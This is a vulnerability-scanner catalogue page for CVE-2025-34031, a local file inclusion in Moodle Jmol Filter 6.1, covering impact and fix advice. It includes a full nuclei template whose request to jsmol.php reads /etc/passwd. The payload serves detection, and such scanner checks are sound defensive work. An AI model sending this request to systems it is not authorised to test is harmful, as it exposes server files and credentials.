Browse / CVEs / CVE-2025-34031
CVE-2025-34031· CWE-22
Moodle Jmol Filter 6.1 - Local File Inclusion
highseverity
7.5CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
Impact
Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.
Fix
Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.
How to confirm it
Send: GET {{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/plain" AND status 200Run it with nuclei: nuclei -id CVE-2025-34031 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-34031
info:
name: Moodle Jmol Filter 6.1 - Local File Inclusion
author: madrobot
severity: high
description: |
Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
impact: |
Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.
remediation: |
Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.
reference:
- https://www.exploit-db.com/exploits/46881
- https://nvd.nist.gov/vuln/detail/CVE-2025-34031
classification:
epss-score: 0.03057
epss-percentile: 0.87701
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N
cve-id: CVE-2025-34031
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: cve,cve2025,moodle,lfi,edb,jsmol,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from